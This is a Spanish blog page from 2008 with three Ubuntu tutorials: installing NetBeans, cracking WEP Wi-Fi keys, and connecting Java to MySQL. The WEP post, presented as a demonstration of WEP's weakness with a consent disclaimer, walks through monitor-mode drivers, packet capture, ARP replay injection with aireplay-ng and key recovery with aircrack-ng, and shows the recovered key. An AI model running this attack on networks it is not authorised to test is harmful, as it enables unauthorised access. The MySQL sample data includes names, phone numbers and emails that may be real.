9 Mar 2008

Como instalar Netbeans en Ubuntu

In: JAVA, LINUX, UBUNTU

Para seguir con el how-to de Java y MySQL, es necesario que instalemos Neatbeans, que sera nuestro IDE de desarrollo, lo he probado un buen tiempo en Ubuntu y es muy bueno y estable, la instalacion es muy sencilla, ya que se puede descargar de la pagina un archivo binario, para la instalacion, pero antes debemos, instalar la maquina virtual y el JDK, empecemos Para instalar la maquina virtual y JDK de Java tecleamos lo siguiente.

CODE:
  1. sudo apt-get install sun-java6-jdk

Esto instalara la versio1.6.X.X. Ahora debemos obtener el binario de netbeans, este lo obtendremos directamente de la [pagina], escojemos el idioma hay una version en español por si no te entro mucho el ingles, la version indicada para nuestro S.O. y al bajar el paquete, hay que darle permisos de ejecusion.

CODE:
  1. sudo chmod +x netbeans-x.x.x-es.bin

Despues de esto solo hay que correrlo como cualquier otro binario

CODE:
  1. ./netbean-x.x.x-es.bin

Y enseguida empesara a buscar la JVM, Si encuntra la JVM aparecera esta pantalla que es la primera del asistente.

 

 

Despues buscara el JDK, que es muy importate ubicar donde se encuentra, para poder agregar drivers de conexion a B.D. como MySQL, PostgreSQL, etc.

 

 

Despues, solo indicara el espacio a ocupar, e iniciara la copia de archivos.

 

 

Al terminar indicara la forma de ejecutar en forma manual, nosotros como somos muy flojos para teclear iremos al menu Aplicaciones » Programacion, y ahi encontraran Netbeans 5.5, en mi caso.

 

Y listo para empezar a programar con gui.

En vista al interes de muchos de mis amigos, en cuanto este tema, vamos a dar una pequeña reseña sobre la inseguridad del cifrado WEP, en las redes wireless.

Cabe mencionar que no nos hacemos responsables del mal uso que se le pueda dar a esta informacion y que lo unico que pretendemos es poner en evidencia la inseguridad que representa usar el cifrado WEP en las redes wireless, y que las pruebas que podamos efectuar, siempre sea dentro de redes en las cuales tengamos total concentimiento de sus administradores o propietarios, aclarado este punto continuemos con lo que nos interesa.

Esta informacion esta comprobada para las versiones 7.4 y 7.10, cuando instalamos ubuntu en nuestro equipo, por defecto instala la tarjeta de red con el modulo IPW394 (Intel ProWireless 3945 ABG), para poder hacer la auditoria, es necesario poder poner la tarjeta en modo monitor, lo cual no es posible con este modulo, por lo que es necario instalar los modulos IPWRAW

Antes de instalar el ipwraw debemos instalar algunas dependencias, esto lo hacemos de la siguiente forma

CODE:
  1. $ sudo apt-get install - build-essential
  2. $ sudo apt-get install - linux-ubuntu-modules-$(uname -r) linux-restricted-modules-$(uname -r) linux-image-debug-$(uname -r) linux-image-$(uname -r) linux-headers-$(uname -r)

Aqui (uname -r), nos sirve para devolver la version del kernel que tenemos instalado, asi no tendremos problemas para instalar los paquetes que requerimos.

Si no hemos tenido ningun error hasta aqui, continuamos con la instalacion de ipwraw

descargamos las fuentes

CODE:
  1. wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2

Descomprimimos el paquete,

CODE:
  1. tar -xjf ipwraw-ng-2.3.4-04022008.tar.bz2

Para instalar, nos cambiamos a la carpeta que se acaba de generar, y tecleamos.

CODE:
  1. sudo make
  2. sudo make install
  3. sudo make install_ucode

Con esto ya esta instalado el modulo, pero ahora lo agregaremos a la black list, esto para que no lo carge por defecto si no, solo cuando lo necesitemos.

CODE:
  1. echo “blacklist ipwraw” | sudo tee /etc/modprobe.d/ipwraw
  2. sudo depmod -ae

Ya tenemos todo listo, para poder usar el ipwraw ahora solo hay desmontar el driver ipw3945 y cargar el ipwraw

CODE:
  1. sudo modprobe -r ipw3945
  2.  
  3. sudo modprobe ipwraw

Para cargar el ipw3945, hacemos lo mismo, pero al contrario.

CODE:
  1. sudo modprobe -r ipwraw
  2.  
  3. sudo modprobe ipw3945

Despues de montar y desmontar los driver's hay que esperar un poco para que se efectuen los cambios.

Para comprobar, que esten funcionando, tecleamos lo siguiente.

CODE:
  1. iwconfig

Y devemos obtener algo como esto.

CODE:
  1. lo        no wireless extensions.
  2.  
  3. eth0      no wireless extensions.
  4.  
  5. vmnet1    no wireless extensions.
  6.  
  7. vmnet8    no wireless extensions.
  8.  
  9. eth1      unassociated  ESSID:off/any
  10. Mode:Monitor  Channel=1  Bit Rate=54 Mb/s
  11.  
  12. rtap0     no wireless extensions.

Tal vez puedas obtener wifi0 en lugar de eth1

Para efectuar la auditoria necesitaremos la suite aircrack si no la tenemos instalada lo hacemos con esto.

CODE:
  1. sudo apt-get install aircrack-ng

Listo, ahora empezaremos por averiguar cuales son los acces points accesibles

CODE:
  1. airodump-ng rtap0

Y deberiamos obtener algo parecido a esto.

CODE:
  1. CH  0 ][ Elapsed: 8 s ][ 2008-03-05 21:01
  2.  
  3. BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
  4.  
  5. XX:XX:XX:XX:XX:XX    0       86        9    0   1  54. WEP  WEP         MAGI
  6.  
  7. BSSID              STATION            PWR  Lost  Packets  Probes

Al identificar nustro objetivo debemos ejecutar el siguiente script para poder inyectar trafico.

Veremos algo asi

CODE:
  1. “Indica el canal para eth1 o wifi0?
  2. 1
  3. “Indica el rate de captura por defecto debe ser 2
  4. 2
  5. “Indica el bssid objetivo”
  6. XX:XX:XX:XX:XX:XX
  7. “Configuracion completada, listo par inyectar”

Empezamos a capturar los paquetes con el airodump-bg

CODE:
  1. airodump-ng -c CANAL -w FICHERO rtap0

Y deberiamos obteneralgo asi

CODE:
  1. CH  1 ][ BAT: 1 hour 38 mins ][ Elapsed: 48 s ][ 2008-03-05 21:34
  2.  
  3. BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
  4.  
  5. XX:XX:XX:XX:XX:XX    0 100      467       47    0   1  54. WEP  WEP         MAGI
  6.  
  7. BSSID              STATION            PWR  Lost  Packets  Probes

Para poder inyectar necesitamos asociarnos con el acces point.

CODE:
  1. aireplay-ng -1 0 -e ESSID -a MAC_PUNTODEACCESO -h NUESTRAMAC eth1

CODE:
  1. 21:52:30  Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX)
  2. 21:52:30  Sending Authentication Request
  3. 21:52:30  Authentication successful
  4. 21:52:30  Sending Association Request
  5. 21:52:32  Association successful :-)

Ya que estamos asociados, podemos inyectar para poder generar DATA que son los paquetes que nos interesan

CODE:
  1. aireplay-ng -3 -b MAC_PUNTODEACCESO -h -h NUESTRAMAC eth1

En unos cuantos segundos podemos ver como genero unos miles de DATA

CODE:
  1. Saving ARP requests in replay_arp-0305-215511.cap
  2. You should also start airodump-ng to capture replies.
  3. Read 16339 packets (got 8045 ARP requests), sent 8042 packets...(333 pps)

Esperamos alrededor de 10 min para obtener una buena cantidad de DATA, el tiempo puede variar segun la distancia a la que te encuentres del acces point, no hay una cantidad exacta pero entre 200 300 mil DATA son suficientes segun lo comprobado.

Ahora solo hay que pasar el fichero por el aircrack

CODE:
  1. aircrack-ng FICHERO.cap

Y listo

CODE:
  1. Aircrack-ng 0.9
  2.  
  3. [00:00:01] Tested 1 keys (got 552366 IVs)
  4.  
  5. KB    depth   byte(vote)
  6. 0    01   39( 100) 11(  33) D6(  15) 6C(  13) 6D(  12) 0D(  11) 17(   9) 95(   8) 5D(   5) 76(   5) 93(   5) D0(   5) 00(   4) 0C(   4) 3A(   3)
  7. 1    01   93( 100) 03(  37) 06(  31) 83(  19) 19(  13) 39(  12) B3(  12) D4(  12) 02(  11) CC(   8) FD(   7) 6C(   5) 86(   5) D2(   5) 30(   4)
  8. 2    01   19( 121) 1B(  15) CE(  12) EB(  12) 2C(   9) 41(   8) 82(   8) CD(   6) 00(   5) 15(   5) 1A(   5) 2B(   5) 34(   5) 39(   5) A2(   5)
  9. 3    01   94(  88) 18(  20) 78(  18) D8(  17) 19(  16) D0(  16) 0D(  10) 83(   9) 69(   8) 75(   6) 82(   6) A0(   6) 41(   5) 46(   5) A2(   5)
  10.  
  11. KEY FOUND! [ 39:93:19:94:35 ]
  12. Decrypted correctly: 100%

Todo esto se puede hacer de forma mas simple, con el airoway.sh solo hay que editar la interfas de injecion segun sea nuestro caso, que puede ser wifi0 o eth1

CODE:
  1. LISTEN="rtap0"
  2. INJECT="eth1"

Como podemos ver, el cifrado WEP no es suficiente para la proteccion de nuestra redes wireless, no exponga la integridad de su red, y utilecen WPA.

Espero le haya sido de utilidad.

Referencias:

http://aircrack-ng.org/doku.php?id=ipw3945

http://seguridadwireless.net

29 Feb 2008

Mini How-to Ubuntu, Java y MySQL Parte 2

In: JAVA, LINUX, MYSQL, UBUNTU

Como lo prometido es deuda aqui esta la segunda parte del mini tutorial de JAVA y MySQL ahora veremos la parte de la conexion a MySQL desde JAVA.
La Base de Datos
Para poder hacer la practica debemos crear la siguiente base de datos ya que la conexion hara referencia a los campos que estan aqui.

Para entrar en mysql, en la consola haremos lo siguiente

CODE:
  1. $ mysql -u nuestro_usuario -p

Ojo el usuario con el que vamos a entrar es con el que instalamos mysql, ya que es el que tiene configurado el password en mysql mas adelante veremos como asignar mas usuarios y passsword para mysql.

Una vez que nos haya pedido el password nos mostrara el promp de mysql algo asi:

CODE:
  1. Welcome to the MySQL monitor.  Commands end with ; or \g.
  2. Your MySQL connection id is 10
  3. Server version: 5.0.45-Debian_1ubuntu3.1-log Debian etch distribution
  4.  
  5. Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
  6.  
  7. mysql>

Ahora teclearemos lo siguiente atencion de poner ; (punto y coma) al final de cada sentencia de lo contrario asumira que el comando aun continua.

CODE:
  1. CREATE DATABASE AGENDA;
  2.  
  3. USE AGENDA;
  4.  
  5. CREATE TABLE DATOS
  6. (
  7. NOMBRE VARCHAR(25),
  8. TELEFONO VARCHAR(15),
  9. CORREO VARCHAR(25),
  10. TWITTER VARCHAR(30)
  11. );
  12.  
  13. INSERT INTO DATOS VALUES('ALAN GASCA','57803747','blue.star.boy@gmail.com','www.twitter.com/yovany');
  14. INSERT INTO DATOS VALUES('ALMA DELIA','26461263','almawook@yahoo.com','www.twitter.com/alma');

Con esto abremos creado una base de datos que se llama agenda, le indicamos que agenda es la base de datos donde vamos a trabajar, creamos una tabla que se llama datos e insertamos unos valores para poder ver los resultados de la practica.

Ahora vamos con JAVA

CODE:
  1. import java.awt.*;
  2. import java.sql.*;
  3. import java.util.*;
  4. import javax.swing.*;
  5. import java.io.*;
  6. import java.net.*;
  7.  
  8. public class agenda
  9. {
  10. public String BD="AGENDA";     // ESTA VARIABLE GUARDA EL NOMBRE DE LA BASE DE DATOS A LA QUE NOS VAMOS A CONECTAR
  11. public String consulta="SELECT * FROM DATOS";// ESTA GUARDA LA CONSULTA SQL QUE SE VA A EJECUTAR EN LA BD
  12. public String USUARIO="mi_usuario";
  13. public String PASS="mi_paswd";
  14. public Connection conexion=null;  // LAS VARIABLES PARA PODER GENERAR LA CONEXION A LA BD
  15. public Statement sentencia=null;
  16. public ResultSet resultado=null;
  17.  
  18. public agenda()
  19. {
  20.  
  21. try
  22. {
  23. //LE INDICAMOS A JAVA CUAL ES EL DRIVER QUE VAMOS A UTILIZAR
  24. Class.forName("com.mysql.jdbc.Driver").newInstance();
  25. //ESTA ES NUESTRA CADENA DE CONEXION LE INDICAMOS CUAL ES LA SIRRCION IP DEL SERVIDOR DE MYSQL
  26. //ADEMAS DE LA BASE DE DATOS A LA QUE SE VA A CONECTAR ASI COMO EL USUARIO Y PASSWORD
  27. //RECUERDEN QUE ES EL USUARION CON EL QUE SE INSTALO MYSQL
  28. conexion=DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/"+BD,USUARIO,PASS);
  29. sentencia=conexion.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
  30. //ESTA VARIABLE ES LA QUE VA GUARDAR LOS RESULTADOS QUE GENERE LA CONSULTA
  31. //EL EXECUTEQUERY ES EL METODO QUE EJECUTA LA CONSULTA
  32. resultado=sentencia.executeQuery(consulta);
  33. //SI LA CONSULTA RETORNA VALORES LA VARIABLE RESULTADO SE UBICARA UNA POCOSION
  34. //ANTES DEL PRIMER VALOR, ENTONCES SI SE CUMPLE QUE EXISTA UN VALOR EN LA SIGUIENTE
  35. //POCISION EN TRARA AL WHILE
  36. while(resultado.next())
  37. {
  38. //Y SE IMPRIMIRAN LOS VALORES DE LA CONSULTA, QUE SE OBTIENEN CON GETSTRING, SE LE PUEDE PASAR EL NUMERO O NOMBRE DE LA COLUMNA DE LA TABLA
  39. System.out.println(resultado.getString("NOMBRE")+" | "+resultado.getString("TELEFONO")+" | "+resultado.getString("CORREO")+" | "+resultado.getString("TWITTER"));
  40. }System.out.println("Estos son los datos de la agenda... ");
  41. //TODO ESTO DEVE SIEMPRE DE IR DENTRO DE UN TRY, DE LO CONTRARIO NOS MARCAR UN ERROR
  42. }
  43. catch(Exception error)
  44. {
  45. System.out.println("Error: "+error);
  46. }
  47.  
  48. }
  49. public static void main( String[] arg )
  50. {
  51. agenda miAgenda = new agenda();
  52. }
  53. }

Para probar el codigo debemos ejecutarlo de la siguiente manera, primero debemos cambiarnos a la carpeta donde esta ubicado el archivo agenda.java y tecleamos lo siguiente

CODE:
  1. javac agenda.java

Si no obtenemos ningun error, lo ejecutamos asi

CODE:
  1. java agenda

Y obtendremos esto

CODE:
  1. ALAN GASCA | 57803747 | blue.star.boy@gmail.com | www.twitter.com/yovany
  2. ALMA DELIA | 26461263 | almawook@yahoo.com | www.twitter.com/alma

Espero sea claro en la siguiente parte haremos una insercion y consulta con una interfas grafica, con netbeans, ojala les sea de utilidad.

Categories

Twitter